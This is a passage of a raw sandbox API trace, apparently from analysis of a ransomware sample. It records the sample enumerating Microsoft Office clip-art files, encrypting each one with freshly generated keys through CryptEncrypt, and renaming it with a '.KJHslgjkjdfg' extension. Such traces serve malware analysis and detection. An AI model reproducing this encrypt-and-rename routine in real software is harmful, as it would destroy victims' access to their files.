ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1 [0180.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.043] GetProcessHeap () returned 0x2a0000 [0180.043] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.043] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.044] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.044] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0180.046] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.046] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.046] GetProcessHeap () returned 0x2a0000 [0180.046] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.046] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.046] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.046] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.046] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.046] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.046] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.047] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.047] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.047] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.047] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.047] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.047] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x366e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x366e, lpOverlapped=0x0) returned 1 [0180.050] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3670, dwBufLen=0x3670 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3670) returned 1 [0180.050] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.050] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3670, lpOverlapped=0x0) returned 1 [0180.051] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.051] SetEndOfFile (hFile=0x114) returned 1 [0180.054] GetProcessHeap () returned 0x2a0000 [0180.054] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.054] GetProcessHeap () returned 0x2a0000 [0180.054] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.kjhslgjkjdfg")) returned 1 [0180.056] CloseHandle (hObject=0x114) returned 1 [0180.056] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1 [0180.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.057] GetProcessHeap () returned 0x2a0000 [0180.057] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.057] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.057] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0180.059] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.060] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.060] GetProcessHeap () returned 0x2a0000 [0180.060] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.060] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.060] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.060] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.060] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.060] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.060] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.060] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.060] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.060] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.060] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.061] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.061] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x273e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x273e, lpOverlapped=0x0) returned 1 [0180.062] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2740, dwBufLen=0x2740 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2740) returned 1 [0180.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.062] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2740, lpOverlapped=0x0) returned 1 [0180.062] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.062] SetEndOfFile (hFile=0x114) returned 1 [0180.065] GetProcessHeap () returned 0x2a0000 [0180.065] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.065] GetProcessHeap () returned 0x2a0000 [0180.065] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.065] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.kjhslgjkjdfg")) returned 1 [0180.067] CloseHandle (hObject=0x114) returned 1 [0180.067] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1 [0180.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.069] GetProcessHeap () returned 0x2a0000 [0180.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.069] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.069] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.069] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0180.072] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.072] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.072] GetProcessHeap () returned 0x2a0000 [0180.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.072] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.072] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.072] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.072] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.072] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.072] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.073] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.073] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.073] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.073] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf36, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf36, lpOverlapped=0x0) returned 1 [0180.073] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf40, dwBufLen=0xf40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf40) returned 1 [0180.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.073] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf40, lpOverlapped=0x0) returned 1 [0180.073] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.074] SetEndOfFile (hFile=0x114) returned 1 [0180.077] GetProcessHeap () returned 0x2a0000 [0180.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.077] GetProcessHeap () returned 0x2a0000 [0180.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.kjhslgjkjdfg")) returned 1 [0180.078] CloseHandle (hObject=0x114) returned 1 [0180.079] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1 [0180.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.080] GetProcessHeap () returned 0x2a0000 [0180.080] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.080] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.080] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.080] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0180.083] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.083] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.083] GetProcessHeap () returned 0x2a0000 [0180.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.083] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.083] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.083] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.083] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.083] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.084] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.084] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.084] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.084] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.084] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.084] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.084] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa50e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa50e, lpOverlapped=0x0) returned 1 [0180.085] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa510, dwBufLen=0xa510 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa510) returned 1 [0180.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.086] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa510, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa510, lpOverlapped=0x0) returned 1 [0180.086] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.087] SetEndOfFile (hFile=0x114) returned 1 [0180.090] GetProcessHeap () returned 0x2a0000 [0180.090] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.090] GetProcessHeap () returned 0x2a0000 [0180.090] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.kjhslgjkjdfg")) returned 1 [0180.092] CloseHandle (hObject=0x114) returned 1 [0180.092] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b62300, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60b62300, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1 [0180.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.093] GetProcessHeap () returned 0x2a0000 [0180.093] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.093] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.093] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.093] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0180.096] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, 